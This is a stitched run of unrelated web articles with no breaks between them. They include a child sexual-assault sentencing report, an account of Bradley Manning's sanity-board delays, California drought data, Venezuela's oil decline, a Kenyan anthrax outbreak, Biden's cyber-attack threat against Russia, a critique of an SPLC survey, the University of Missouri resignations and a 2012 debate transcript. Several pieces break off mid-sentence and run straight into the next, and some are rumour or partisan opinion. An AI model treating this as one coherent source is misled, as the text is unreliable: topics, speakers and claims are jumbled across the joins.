Act Of Faith: Faith Harrington, a young female reporter on a local newspaper who has an exotic private life, prepares for a stimulating evening at home that doesn’t go according to plan. Upon Reflection: Details Faith Harrington’s first bewildered arrival at the peculiar working men’s club immediately after the event that concludes Act of Faith, all captured in a fixed security mirror above a club’s oddly anachronistic lounge bar. Jimmy’s End: Louche and hard-drinking womanizer James Mitchum finds himself wandering into one strange bar too many. A Professional Relationship: Explores the peculiar relationship between the club’s two managers. His Heavy Heart: Picks up the narrative of the hapless James Mitchum from a point following his dreadful realization at the conclusion of Jimmy’s End. In a grotesque parody of Egyptian funerary rites, James is shepherded less than gently into his unenviable afterlife.
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Show Pieces hits Shudder tomorrow, June 29.A former youth ministry director has been sentenced to seven years’ deferred adjudication probation after pleading guilty to a charge of sexual assault of a child.
Matthew Jonas Overstreet, 26, of Plano must also pay a $7,500 fine. If he completes his probation, a felony conviction will not appear on his record.
Plano police say Overstreet sexually assaulted a 15-year-old girl he met in 2007 while working as a youth group intern at St. Andrew United Methodist Church in Plano.
After leaving that job, Overstreet began sending the girl sexual messages via Facebook and text message. The girl told police that Overstreet came to her house at 3 a.m. Dec. 19, 2009, and had sex with her in her bedroom.
Overstreet also spent two years as youth director at Cornerstone United Methodist Church in Garland. Before his arrest last year, he worked at Spring Valley United Methodist Church in Far North Dallas.Nevada Smith, coach of the most innovative pro basketball team you’ve never seen, says almost all the criticism he hears about his chosen strategy comes from older fans and scouts.
“It’s mostly those old-school basketball guys,” says Smith, coach of the D-League’s Rio Grande Valley Vipers, who have attempted 46 3-pointers per game over their 9-1 start to this season. “They ask why we’re doing this. They say it’s not basketball.”
Smith just laughs it off. The Vipers, Houston’s D-League affiliate, average nearly 112 possessions per game — about a dozen more than any NBA team. All that sprinting and 3-point gunning has produced
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2010, Coffman ordered the sanity board but the board was delayed, according to Coffman, because members of the board had to secure proper security clearances “in order to conduct the board.” Preliminary classification reviews of information were also being conducted to determine what Manning was going to talk about before the sanity board.
When Coffman ordered it to restart on February 3, 2011, the board had more problems. The members had scheduling conflicts themselves. The board had a difficult time scheduling time in a secure intelligence facility that they needed to use to complete their evaluation. Coffman also instructed them to meet and conduct their work during after-hours on weekdays or on weekends.
Questioned by military prosecutor Cpt. Hunter White, Coffman stated he knew it was a “high visibility case and just didn’t feel the need for Pfc. Manning to be exposed to a bunch of media attention on his way to conduct an interview before the sanity board.” Government facilities are not too crowded on the weekend, he added. It is “typically the best time to be discreet.”
“He’s been accused of something,” Coffman answered. “He doesn’t need the media attention or any other attention for that matter.”
On first glance, this answer appears to show a concern for the rights of the accused. The defense may have even appreciated the thought that Coffman gave to giving this instruction so media would not be publishing more stories with headlines suggesting Manning was insane. But, Coffman really did not set the sanity board up to only meet after hours on weekdays or on weekends to shield Manning from the press. He did it to shield the military and the US government from the press.
David Coombs, Manning’s defense attorney, asked Coffman during his cross-examination about the “guidance” he gave on when the sanity board should meet. He asked him about how the prosecution had only been able to schedule time in a secure intelligence facility on Saturdays. Coffman did not recall if this was exactly how everything panned out, but, if this was so, he said they would have been following what he instructed.
Pfc. Manning had to be moved to and from the facility and in and out of vehicles, Coffman explained. “This was getting a lot of attention in the media. We already had experiences with different agencies and organizations coming out and expressing their opinions.” It was “easier” on the sanity board to “have privacy.”
If “the media finds out,” Coffman said, “It then becomes a public event.” I was “just trying to prevent it from becoming a public event.”
Presumably, the military did not want press their with cameras taking photos of Manning arriving and leaving. They also did not want demonstrations or rallies outside facilities. Meeting only on Saturdays also did not necessarily guarantee the sanity board would remain under wraps (however, based on lack of information known to press and public from the spring of 2011 when the board met to now, it appears to have worked).
Dr. Michael Sweda, a psychologist who was part of the board, was having difficulty “coordinating suitable dates” because the board was only to meet on Saturdays. A memorandum Sweda sent indicated he needed an “additional 57 days” because he was having trouble getting times for the final interview, which was to take place in a secure intelligence facility. These concerns were made clear to the prosecution, but Coffman interpreted the complication as a typical issue caused by members working in different places. Sweda requested the board meet on days besides the weekend, but, according to Coffman, he didn’t recall that.
Around this time, Coffman approved an extension moving the board’s deadline for completion of the sanity board to April 16. Then, on April 15, when that deadline could not be met and the board wanted until April 29 to complete the evaluation, he allowed the board to delay its final report one more time and set a date of completion for April 22.
It is known that the military has been concerned about the attention this case attracted and the protesters, who might show up to support Manning. In August, Coombs spoke in court about emails between commanders and officers at the Quantico Marine brig that it had discovered the prosecution had and knew existed after 84 emails were given to the defense. The defense found out there were nearly 1,300 emails from the brig, where Manning was held in detention and conditions that essentially amounted to solitary confinement. Six hundred were given to the defense in August and later Judge Army Col. Denise Lind ordered all but 12 of the remaining hundreds of emails to be handed over to the defense.
Coombs described in court how the emails showed negative media attention was of more importance to the brig commanders than whether Manning was being treated unlawfully or inhumanely. He had been able to tell from the 84 emails released already how concerned the brig was with how the media would make the brig look in their coverage. They did not want anything to happen. They wanted to do what they wanted and keep him in maximum custody and suicide risk and do everything they could to prevent negative publicity. For example, he said one email noted that Manning’s friend, David House, visited and was turned away and the military needed to do a better job of having “spin” ready for media when this happened again. Likewise, when Manning was forced to stand naked, Coombs said the public affairs staff wanted to make sure they had “spin” the next time this happened.
In January 2011, protesters were on the base and Manning was placed on suicide risk. Officers at the brig thought the protests had made life difficult and so they were going to make life difficult for Manning. It was, Coombs suggested, no coincidence the guards placed Manning on suicide risk the same day there had been protests.
“While a three-star general was ordering Bradley suffer senselessly abusive treatment at Quantico, the Convening Authority in his court martial was trying to shield him from the public view,” said Jeff Paterson of the Bradley Manning Support Network. “Military officials were happy to draw media attention to themselves when condemning Bradley as a traitor or suggesting blood was on his hands. But while he was enduring what many describe as torturous conditions, they were suddenly very concerned for Bradley’s privacy.”
The priority then-Special Court Martial Convening Authority Carl Coffman placed on controlling the story and preventing the press from being able to cover the sanity board clearly prolonged the process. It is not necessarily the sole reason why it is questionable whether Manning’s speedy trial rights have been respected. However, it did result in months of delay. The preliminary Article 32 hearing, which was held in December 2011, would likely have been held much earlier if this focus on keeping what was happening with the case secret had not existed.By Staff Writer
During the past several months, Monrovia City Staff has been working to landmark the city’s historic Santa Fe Depot facility located at Station Square. As part of that process, the historic preservation commission (HPC) considered the matter and voted to recommend that the facility be granted landmarked status at their meeting on March 23, 2016. This means that on April 19, 2016, the city council will consider designating the Monrovia Santa Fe Depot as Historic Landmark number 137.
In addition to landmarking the Historic Santa Fe Depot, the HPC has formed a subcommittee to interface with the development team (Daylight Limited) that was selected to rehabilitate and adaptively reuse the facility.
Daylight Limited team will be ready to submit a formal application to the entire HPC in May 2016 to consider approving a certificate of appropriateness for the proposed scope of the rehabilitation work at the Historic Santa Fe Depot. If that timeline holds, the city would expect that actual construction work rehabilitating the facility would begin in mid-to-late summer 2016. In addition, with the scope of work that needs to be done, assuming a construction start date in the summer of 2016 and barring any unforeseen circumstances, we anticipate that the rehabilitation work at the Historic Santa Fe Depot could be complete towards the end of calendar year 2016 or the early part of 2017.California reduces water use by 7.5 percent
Sprinklers water a residential yard in the middle of the day in Pleasanton, CA, Friday May 16, 2014. The city of Pleasanton has made it mandatory for it's residents to comply with a 25 percent reduction in water usage to help combat persisting drought conditions. less Sprinklers water a residential yard in the middle of the day in Pleasanton, CA, Friday May 16, 2014. The city of Pleasanton has made it mandatory for it's residents to comply with a 25 percent reduction in... more Photo: Michael Short, The Chronicle Photo: Michael Short, The Chronicle Image 1 of / 7 Caption Close California reduces water use by 7.5 percent 1 / 7 Back to Gallery
(09-09) 17:04 PDT Sacramento -- Drought-stricken California reduced its water use by 7.5 percent in July, a year-over-year savings of 17 billion gallons, according to data released Tuesday by the State Water Resources Control Board.
The conservation comes amid mandatory outdoor watering restriction and up to $500 a day fines on water wasters. However, the cutbacks fall short of the 20 percent goal the state set in January.
Board Chairwoman Felicia Marcus said she was encouraged that the state is headed in the right direction. But, she cautioned that more is needed, particularly with projections of a dry fall and winter.
"More would be better," Marcus said.
The Sacramento region led with a 19.5 percent reduction in water use from July 2014 to July 2013, while the Bay Area, which already has low per capita water usage, cut back by 13 percent.
In June, water use statewide was down 4.4 percent, or 9 billion gallons, when compared to the previous year.
The survey was part of a mandatory data collection approved by the state water board of urban water suppliers. While 87 percent of suppliers covering 33 million people submitted their data, the board said it is contacting the 50 agencies that did not respond.
A previous voluntary survey, which had lower participation, showed the state increased water use by almost 1 percent in May, when compared to the three previous years.
The state board will require water agencies to track and report water use based on gallons per person per day beginning in October as part of emergency regulations adopted in July.
The new restrictions also bar residents and commercial water users from using drinkable water to hose off sidewalks and driveways, water lawns or gardens to the point of causing runoff or wash cars without a shutoff nozzle.
Fines for offenses are criminal penalties, similar to a traffic ticket.
California is in the third year of one of the worst droughts the state has seen in the past century. Every part of the state is considered to be in a drought, with 80 percent in the highest level.
Weather forecasters say it's unlikely a strong El Niño will develop this fall in order to bring much needed heavy rains to the state.New book reveals band's style was influenced by Swedish laws that allowed cost of outfits to be deducted against tax
The glittering hotpants, sequined jumpsuits and platform heels that Abba wore at the peak of their fame were designed not just for the four band members to stand out – but also for tax efficiency, according to claims over the weekend.
Reflecting on the group's sartorial record in a new book, Björn Ulvaeus said: "In my honest opinion we looked like nuts in those years. Nobody can have been as badly dressed on stage as we were."
And the reason for their bold fashion choices lay not just in the pop glamour of the late 70s and early 80s, but also in the Swedish tax code.
According to Abba: The Official Photo Book, published to mark 40 years since they won Eurovision with Waterloo, the band's style was influenced in part by laws that allowed the cost of outfits to be deducted against tax – so long as the costumes were so outrageous they could not possibly be worn on the street.
In 2007 Ulvaeus was wrongly accused of failing to pay 85m kronor (£7.9m) in Swedish taxes between 1999 and 2005, and went on to successfully appeal against the decision.
"I am of course very happy that I have been informed in writing that I have always done the right thing concerning my taxes," he said after the court victory.Venezuela is a country in crisis. Protesters that are opposed to the socialist government are being killed, and Venezuelan citizens are starving to death. A humanitarian disaster is unfolding that has been in the making for years.
But how can it be that the country with the world's largest proved oil reserves can't afford to feed its people? The current crisis can be traced to the historical management of the country's oil industry.
Wasted Potential
Look at the evolution of Venezuela's oil reserves and production since 1980:
Venezuela's highest-ever oil production occurred in 1998 at 3.5 million barrels per day (BPD). That also happened to be the year that Hugo Chávez was elected president of Venezuela. During the Venezuelan general strike of 2002–2003, Chávez fired 19,000 employees of the state oil company Petróleos de Venezuela, S.A. (PDVSA) and replaced them with employees loyal to his government.
This eliminated a tremendous amount of experience from Venezuela's oil industry. Most of Venezuela's proved oil reserves consists of extra-heavy crude oil in the Orinoco Belt. The Orinoco contains an estimated 1.2 trillion barrels of oil resource. This oil is expensive to produce, but after oil prices climbed to $100/bbl, 235 billion barrels of this heavy oil were moved into the "proved reserves" category. This positioned Venezuela ahead of Saudi Arabia as the country with the world's largest proved oil reserves.
Because this oil is particularly challenging to produce, Venezuela invited international oil companies into the country to participate in the development of these reserves. Companies like ExxonMobil, BP, Chevron, Total and ConocoPhillips invested billions of dollars in technology and infrastructure to turn the extra-heavy oil into crude oil exports.
What most people do not understand about the oil industry is that it is extremely capital intensive. When oil prices rise, oil companies may indeed reap billions of dollars in profits. But reaping that reward required billions of dollars in capital investments, and if oil prices decline it can quickly turn into billions of dollars of losses. This is the key to understanding what has gone wrong in Venezuela.
The Government Gets Greedy
In 2007 oil prices were on the rise, and the Chávez government sought more revenue as the investments made by the international oil companies began to pay off. Venezuela demanded changes to the agreements made by the international oil companies that would give PDVSA majority control of the projects. Total, Chevron, Statoil and BP agreed and retained minority interests in their Venezuelan projects. ExxonMobil and ConocoPhillips refused, and as a result, their assets were expropriated. (A World Bank arbitration panel has ruled against Venezuela in both expropriation cases, but the country continues to appeal the decisions).
So there are primarily two related causes that have resulted in the steep decline of Venezuela's oil production, despite the sharp increase in the country's proved reserves. The first is the removal of expertise required to develop the country's heavy oil. This started with the firing of PDVSA employees in 2003 and continued with pushing international expertise out of the country in 2007.
Second, the Chávez government failed to appreciate the level of capital expenditures required to continue developing the country's oil. This was in no small part due to inexperience among the Chávez loyalists that were now running PDVSA, but it may not have mattered in any case. When oil prices were high, Chávez saw billions of dollars that could be siphoned to fund the country's social programs, and that's exactly what he did. But he failed to reinvest adequately in this capital-intensive industry.
I explicitly warned about this in an article I wrote in 2007:
So, can Chávez under-invest in the industry while diverting money to his pet causes? He can for a while, but you can see the results. Despite having enormous oil reserves, he and his cronies are running Venezuela’s oil industry right into the ground. His generosity to the poor has only been possible because he had a goose that laid golden eggs because they constantly reinvested money back into the business. Once he kills the goose, where is he going to get the money to continue his programs?
That warning was prescient. Following the firing of the PDVSA employees in 2003, there was an initial steep decline in the country's oil production below 3 million BPD. Then Venezuela's oil production recovered back to the 3.3 million BPD level from 2004 to 2006. But since 2007 oil production there has been on a steep decline, despite oil prices that were regularly above $100/bbl. In 2015 Venezuela's oil production had fallen to 2.6 million BPD, a decrease of more than 20% below 2006 levels. By comparison, the U.S. has oil reserves of less than 20% of Venezuela's, yet U.S. oil production rose by 86% from 2006 to 2015.
Note I am certainly not arguing against a country using its oil reserves to benefit its citizens. But Norway provides a case in point of how this can be done responsibly. The problem with Venezuela's approach was that it extracted too much from the industry, which sacrificed its ability to continue to grow its production.
Conclusions
Events in Venezuela continue to unfold, but it's hard to imagine that the oil industry there can recover without significant reinvestment. Venezuela is one of the OPEC members that has pushed the hardest for production cuts in recent years, as it desperately needs higher oil prices not only to fund further oil industry development but to use those revenues to pay for basic needs of the Venezuelan people.
Venezuela remains one of the world's ten largest oil producers, but its position has slipped in recent years. Should the situation there continue to deteriorate, it will likely further negatively impact the country's oil production. Ironically, because of Venezuela's global importance as an oil exporter, further deterioration there could push world oil prices higher -- but that's a scenario the current Maduro government is desperately seeking to avoid.Rumor: No Man’s Sky Might Be Undergoing Technical Complications
During a recent Podquisition, Destructoid UK Editor Laura Kate Dale mentioned that some of her sources on No Man’s Sky have said that the game is undergoing technical complications.
This information hasn’t been confirmed by developer Hello Games, so take it with a grain of salt, but apparently, Hello Games is facing some major difficulties getting the space exploration game to run on PlayStation 4, and is having trouble optimizing it for PC. Dale continued by saying she was told that during Sony’s E3 2015 Press Conference, during which gameplay of No Man’s Sky was shown, the game was running on PC, not PS4.
Whether or not these issues are actually happening is unclear, but it could be related to why No Man’s Sky isn’t coming out until June of next year. What are your thoughts on it?
[Source: SoundCloud via NeoGAF]Kenya: Anthrax outbreak kills more than 100 animals at Lake Nakuru National Park
Agriculture officials in Nakuru County, Kenya are investigating an anthrax outbreak that has killed scores of animals at Lake Nakuru National Park.
According to local media, more than one hundred buffaloes and two rhinos have died in the past five days.
In addition, officials have killed animals suspected of having the lethal bacterial disease. Bacillus anthracis, the agent of anthrax, was confirmed by Kenya Wildlife Service veterinarians at the Lake Nakuru National Park.
Nakura County Executive for Agriculture Dr. Stanley Chepkwony said, “We are also warning people not to come into contact with these animals or their meat products.”
Anthrax is a bacterial pathogen in livestock and wild animals. Some of the more common herbivores are cattle, sheep,goats, horses, camels and deers. Anthrax is a very serious disease of livestock because it can potentially cause the rapid loss of a large number of animals in a very short time. Affected animals are often found dead with no illness detected.
It infects humans primarily through occupational or incidental exposure with infected animals of theirskins.
Anthrax is caused by the bacterium, Bacillus anthracis. This spore forming bacteria can survive in the environment for years because of its ability to resist heat, cold, drying, etc. This is usually the infectious stage of anthrax.
When conditions become favorable, the spores germinate into colonies of bacteria. An examplewould be a grazing cow ingests spores that in the cow, germinate, grow spread and eventually kill the animal.
The bacteria will form spores in the carcass and then return to the soil to infect other animals. The vegetative form is rarely implicated in transmission. Strict enforcement of quarantines and proper burning and burying of carcasses from livestock suspected to have died from anthrax is important to prevent further soil contamination with the bacterial spores.
There are no reports of person-to-person transmission of anthrax. People get anthrax by handling contaminated animal or animal products, consuming undercooked meat of infected animals and more recently, intentional release of spores.
There are three types of human anthrax with differing degrees of seriousness: cutaneous, gastrointestinal and inhalation.
Related news:
Colorado Springs mule deer tests positive for plague
Chronic wasting disease confirmed for the first time in Michigan’s free-ranging deer population
Plum Island’s move to Kansas: ‘This research facility is an accident waiting to happen’“By long forbearing is a ruler persuaded, and a soft tongue breaketh the bone.” Proverbs 25:15 (The Israel Bible™)
US-Russian relations are at dangerous low-point as US Vice President Joe Biden threatened Russia with a cyber-attack in a televised interview on Friday, while Russian television warned citizens to prepare bomb shelters and check their gas masks.
The New York Post reported that VP Biden Biden threatened Russia with a “clandestine” cyber-attack during an interview with “Meet the Press” that will air on Sunday.
“We’re sending a message,” Biden warned. “We have the capacity to do it. It will be at the time of our choosing, and under the circumstances that will have the greatest impact.”
The vice-presidential threat comes as a result of claims Russian interfered with the American elections by launching cyber-attacks and hacking more than 100 Democratic Party officials and groups.
“These thefts and disclosures are intended to interfere with the U.S. election process,” the Office of Director of National Intelligence and the Department of Homeland Security said in a joint statement last Friday. “We believe, based on the scope and sensitivity of these efforts, that only Russia’s senior-most officials could have authorized these activities.”
With a cyber-conflict in place, Vitaly Churkin, Russia’s U.N. ambassador, said in an interview with three journalists at Russia’s U.N. Mission last week that relations between the two super-powers is the worst it has been in over 40 years.
“The general situation I think is pretty bad at this point, probably the worst … since 1973,” he said. “It’s kind of a fundamental lack of respect and lack of in-depth discussions.”
“If the change of administration is going to help, that’s fine,’ Churkin said. “But even if President Barack Obama stayed for another term, which he is barred from doing, ‘we would be pushed to trying to get back to normal in our relations.”
Churkin also accused America of supporting the “coup” that ousted the pro-Russian Ukrainian President Viktor Yanukovych in 2014.
America and Russia are also on opposite sides of the conflict in Syria. Syria has committed significant military forces in support of Syrian President Bashar Assad, while the US is supporting anti-Assad rebels.
Russian Itar Tass news site reported that Moscow will not be complacent to CIA cyber attacks against the Russian leadership. A Kremlin official said that “of course we’ll respond – (the attacks) are unacceptable.”
Russian state-owned channel, NTV, has been making public announcements about preparing for a nuclear attack for the past month.
“If it should one day happen, everyone of you should know where the nearest bomb shelter is. It’s best to find out now,” the public service announcement stated. The announcement then instructed people to check their gas masks. It also told the citizens how an emergency wartime government would operate.Multiple U.S. media outlets are citing an online survey by the Southern Poverty Law Center (SPLC) as proof Donald Trump’s election is causing a surge of bullying in schools. But the survey is flawed in several obvious ways, and shouldn’t be taken as proof of anything at all.
Even before Trump had secured the Republican nomination for president, SPLC was aggressively promoting the idea that a “Trump Effect” was causing a rise in bullying in American schools. The claim was even repeated by Hillary Clinton on the campaign trail. Now, in the wake of Trump’s victory, SPLC is doubling down on the idea, using a survey of American teachers in which it asks them what has been happening in their schools since Election Day.
“The survey data indicate that the results of the election are having a profoundly negative impact on schools and students,” SPLC said in a Monday report on the survey. “Ninety percent of educators report that school climate has been negatively affected … A full 80 percent describe heightened anxiety and concern on the part of students worried about the impact of the election on themselves and their families.”
If SPLC’s survey represented the genuine, nearly-unanimous sentiment of American teachers, it would warrant a great deal of concern. But the survey, in fact, isn’t even close to scientific. Instead, it’s simply a collection of anecdotes from a self-selecting group of teachers who are almost certainly on the political left and overwhelmingly hostile to Trump.
SPLC’s own description of the survey is clear about its nature:
The results of this survey are not scientific. The respondents were not selected in a manner to ensure a representative sample; those who responded may have been more likely to perceive problems than those who did not. But it is the largest collection of educator responses that has been collected; the tremendous number of responses as well as the overwhelming confirmation of what has been anecdotally reported in the media cannot be ignored or dismissed.
There are more than three million teachers in the United States. Despite SPLC’s rhetoric about the “tremendous response” to their survey, the 10,000 responses they received represents less than one-third of one percent of all teachers. Responses to the survey were solicited through left-leaning publications and organizations like Teaching Tolerance and the American Federation of Teachers, a major teachers union that was one of the first unions in the country to endorse Hillary Clinton for president. Unsurprisingly then, teachers who responded are likely left-leaning themselves, hostile towards Trump, and more likely to attribute negative events at school to some kind of “Trump effect.”
But beyond that, there isn’t even any guarantee that the survey respondents are real on a basic level. The SurveyMonkey survey used to collect SPLC’s data can be answered by anybody, and respondents can submit answers anonymously, using fake data, or while pretending to be somebody else. There’s also nothing to stop a person from responding more than once.
But these obvious flaws haven’t stopped the survey from being enthusiastically picked up by the media. Politico’s Morning Education newsletter said the “vast majority of educators” saw a negative outcome from the election; it never noted the survey’s un-representative nature. NBC News, BuzzFeed, Vice, Newsweek, the BBC and more all made similar claims, simply repeating SPLC’s narrative without ever mentioning the survey’s clear shortcomings. None of the news sites listed above noted that the survey was unscientific, and some didn’t even note that SPLC is a left-leaning organization.
It’s possible that Donald Trump’s election has, in some cases, helped cause a surge in bullying. But SPLC’s survey is hardly strong proof of it, and citing it like it is is fake news.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected] like the Skullgirls campaign before it, Nyu Media’s Yatagarasu Attack on Cataclysm fundraiser allowed backers to vote on a handful of characters to decide who would be included in the title. Earlier today, it was announced that Aja Salisbury, the exiled Conservative Party member residing in Japan, will be bringing her bold swordplay to the new title alongside Kazama Kotaro and Azure, who will also be making their debut in the update.
Aja’s concept art and quick descriptions of her background and playstyle have been included below, along with a rundown of the voting results.
Hails from England. Aja was an intelligence operative for the Conservative Party and undertook dirty work to protect to protect old traditions. After a radical party called Order of the Blue Flower rose to prominence, representatives of the Conservative Party fell from power one after another. Having nowhere else to go, Aja fled to England’s military ally, Japan. However, even in exile, she was unable to escape her political ties, having lost all faith in the world, she thought abandon dreams for her own life and live only as a hired assassin, but through a certain incident she came to wish for world reformation. Fighting Style: Aja’s main weapon is her sword which is sheathed in a white scabbard. In contrast to Hina and Kasumi who use iaijutsu, Aja will use dramatic swordplay. Basically, all of her attacks will be huge swings and she will have many bold moves.
1st Place: Aja (14,524 votes) From the start of the campaign until the end, Aja received strong support from contributors at every donation level. However, she was particularly popular among contributors making high donations, and so she achieved an unbeatable lead. One thing we’d really like to know for future reference in developing her is what was it about Aja that attracted people to vote for her? Was it something about her looks, her story, or fighting style? Maybe the fact that she has had much adversity in life? Please drop us a note in the comments and let us know! 2nd Place: Nene (11,211 votes) Nene ended up at 2nd place. There is a clear trend in the voting for Nene: she was at the bottom of the ranking with almost no votes at the start of the campaign, but she came screaming back at the end of the campaign, all the way to second place. Nene was actually number one in terms of the number of people who voted for her! However, insufficient support from the backers with high contributions meant that she fell short of the top spot. 3rd Place: Chiriakuta (11,058 votes) Chiriakuta was at a disadvantage in this voting scheme as we revealed relatively little about him or how he plays. Still, he put up a good fight, ending just behind Nene at 3rd place. Chiriakuta had the smallest number of contributors voting for him, but he did have the support of some contributors making high donations and managed to make up for the number of actual supporting voters. 4th Place: Qadl (7,097 votes) Poor Qadl ended up with the least votes. Our presmuption is that Qadl’s support came from backers who took the view that her fighting style and techniques would provide important additions to the overall balance of the game. However, her overall appeal is probably weaker than the other characters.
So, what do you think? Are you happy with this turn of events or were you hoping to see another character take the coveted roster position? Feel free to let us know in the comments.
Source: IndiegogoUM System President Wolfe resigns, MU Chancellor transitions to new role; UM Board of Curators announces significant diversity and inclusion initiatives
COLUMBIA, Mo. – University of Missouri System President Tim Wolfe announced his resignation today after three and a half years in the position.
“The board is grateful for the service and accomplishments of President Wolfe during his tenure,” said Donald Cupps, chair of the University of Missouri Board of Curators. “President Wolfe has instituted meaningful strategic planning and efficiencies to the university system and, by his action today, he is putting the interest of the University of Missouri ahead of himself.”
Also, effective January 1, 2016, Chancellor R. Bowen Loftin will transition into director for research facility development. In his new role, Loftin will be involved in leading MU’s efforts to construct new facilities and renovate current facilities to meet the university’s research needs.
Said Cupps, “The university would like to thank Dr. Loftin for his services as chancellor and looks forward to his work in his new role.”
Hank Foley, MU senior vice chancellor for research and graduate studies and current UM System executive vice president for academic affairs, research and economic development has been appointed interim chancellor for the MU campus. An interim system president will be announced as soon as possible.
Leadership changes
“As a board, we have taken an oath to maintain the standard of excellence and source of pride that the University of Missouri is for all Missourians. We are committed to keeping the institution and our state moving forward,” said Cupps.“It saddens me that some who have attended our university have ever felt fear, being unwelcome, or have experienced racism.”
“To those who have suffered, I apologize on behalf of the university for being slow to respond to experiences that are unacceptable and offensive in our campus communities and in our society,” Cupps continued. “Significant changes are required to move us forward. The board is committed to making those changes.”
Said Wolfe, “This institution is a source of pride for the state and beacon of hope for many young people from all walks of life, and it has been my honor to lead it. This is the hardest thing I have ever done in my life, but I made my decision based on what I believe is right for the University of Missouri.”
“Recent circumstances, including serious concerns about the MU campus and its leadership, have created too much pain at Mizzou, which is my alma mater and the place I call home,” he said. “I sincerely wish it was different, but events are such that the best course of action for the university at this time is for me to resign.”
Said Loftin, “It has been my pleasure to serve as chancellor of this great institution. I hope that every member of our campus community will embrace each person’s right to express their opinions in a respectful manner and to make progress toward our common goal of an inclusive campus that values the contributions of all individuals. I am excited for my new challenge to lead the university’s research facility development.”
New initiatives
“The board of curators will not tolerate hateful activities on our campuses – period,” said Cupps. “We are taking additional measures beginning today to ensure that our campuses are free of acts of hatred, so that our campuses all embody a culture of respect.”
Today the board announced a series of initiatives to be implemented over the next 90 days to address the racial climate on its campuses, including:
A first-ever Chief Diversity, Inclusion and Equity Officer will be appointed for the UM System. Accountability and metrics will be established for the position going forward;
A full review will be initiated of all UM System policies as they relate to staff and student conduct;
Additional support will be provided for students, faculty and staff who have experienced discrimination and disparate treatment.
Additional support will be provided for the hiring and retention of diverse faculty and staff;
In addition, the board announced its plan to ensure effective next steps through an open communication process that invites perspective from across the system. These steps are to:
Create a diversity, inclusion and equity task force to develop both a short- and long-term strategy, plan and metrics for the UM System based on an inventory and audit of current programs, policies and practices.
Establish campus-based task forces to develop diversity, inclusion and equity strategies, plans and metrics.
Ensure that each UM System campus has a Chief Diversity, Inclusion and Equity Officer reporting to the chancellor;
Launch a diversity, inclusion and equity leadership training and development education program, which includes the board of curators, president and administrative leadership, followed by broader faculty and staff training.
Specifically, on the MU campus:
There is a process in place to identify external diversity, inclusion and equity consultants to conduct a comprehensive assessment of diversity and inclusion efforts on campus.
There will be mandatory diversity, inclusion and equity training for all faculty, staff and future incoming students.
We will continue the comprehensive review of student mental health services to ensure that students are referred to the most appropriate resources for their needs.
###GENEVA/BEIRUT (Reuters) - U.N. aid workers have started delivering food to tens of thousands of people trapped in a besieged district of Homs city in Syria following negotiations with warring parties, officials said on Friday.
In the absence of a nationwide peace deal, relief groups have tried to get localized agreements with fighters on all sides of the conflict to get convoys through to people in battle zones.
The United Nations did not give details of the Homs agreement but local opposition activists told Reuters there was a temporary ceasefire.
Food was sent to Al Wa’er on Thursday, Elisabeth Byrs, a spokeswoman for the U.N.’s World Food Programme, told journalists in Geneva.
“Following extensive negotiations between parties to the conflict, a first convoy carrying 8,500 family food rations were delivered to the besieged area of Al Wa’er,” — enough food for about 42,500 people for one month, Byrs said.
Two more convoys over the coming days will deliver food to 75,000 people, she added, 30 percent of the estimated quarter of a million people the United Nations says are trapped in besieged areas across Syria.
A U.N. official in Geneva said that the WFP rations were aboard an 18-truck convoy that also delivered some medical supplies and non-food items from other U.N. agencies.
Al Wa’er has witnessed an intensification of shelling and heavy clashes which prevented all access for humanitarian deliveries, WFP said in a statement.
Al Wa’er has been cut off for nearly two years by government forces, opposition activists say. Syrian state media said last month that aid was delivered to Al Wa’er “almost every month.”
The U.N. peace envoy to Syria, Staffan de Mistura, has said he wants to start focusing on brokering “freeze zones,” or local truces, in the northern city of Aleppo rather than a peace plan for the whole of the divided country.
“This is why... we have put on the table the proposal of a freeze of heavy
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It’s going to be OK.” That’s what this is all about.
MARTHA RADDATZ: Congressman Ryan.
REP. PAUL RYAN: I want to thank you, as well, Martha; Danville, Kentucky; Centre College. And I want to thank you, Joe. It’s been an honor to engage in this critical debate.
We face a very big choice. What kind of country are we going to be? What kind of country are we going to give our kids? President Obama, he had his chance. He made his choices. His economic agenda—more spending, more borrowing, higher taxes, a government takeover of healthcare—it’s not working. It’s failed to create the jobs we need. Twenty-three million Americans are struggling for work today. Fifteen percent of Americans are in poverty. This is not what a real recovery looks like. You deserve better.
Mitt Romney and I want to earn your support. We’re offering real reforms for a real recovery for every American. Mitt Romney—his experience, his ideas, his solutions—is uniquely qualified to get this job done. At a time when we have a jobs crisis in America, wouldn’t it be nice to have a job creator in the White House?
The choice is clear: a stagnant economy that promotes more government dependency, or a dynamic, growing economy that promotes opportunity and jobs. Mitt Romney and I will not duck the tough issues. And we will not blame others for the next four years. We will take responsibility. And we will not try to replace our founding principles; we will reapply our founding principles. The choice is clear, and the choice rests with you. And we ask you for your vote. Thank you.
AMY GOODMAN: Cheri Honkala, you have one minute for your final statement.
CHERI HONKALA: As a formerly homeless mother, I know your pains out there. We can have a country that can be free from unemployment, hunger and homelessness. Let’s occupy the voting booths on Election Day. Let’s vote Green and put two women in the White House, so that we can take back America and have another country and another world.
AMY GOODMAN: And, Luis Rodriguez, vice-presidential nominee for the Justice Party, your final statement.
LUIS RODRIGUEZ: Yeah, I think this is not about recovery, but a regeneration, of bringing back the idea, the imaginations, the power that we hold in our hands into the political process, into the economy. This country is vast. It’s got a lot of latent talent and attributes in our kids, in our working class, in people who build their homes and see their homes being taken away. This is a period of the worst corporate thievery that we’ve seen in our history, and nobody is putting them accountable. Let’s take it back and put it in our hands, in the hands of the people who work, in the hands of the people who can imagine, and regenerate our economy completely by making sure that everybody’s needs are met, everybody’s housing is taken care of, everybody’s medical needs, educational needs. No more corporation of the education, where kids are having $60,000 to $70,000 debt just to go to school, because they have to now, because they can’t survive without it. We have to re-imagine another America, another world, a clean, environmental—justice in our environment, justice in the economy, justice in our politics.
AMY GOODMAN: Luis Rodriguez, vice-presidential nominee for the Justice Party; Cheri Honkala, vice-presidential nominee for the Green Party, joining Paul Ryan of the Republican Party and Vice President Joe Biden of the Democratic Party in this only vice-presidential debate of the 2012 election. And that does it for our “Expanding the Debates” series until next week, when we’ll be broadcasting from Hofstra.
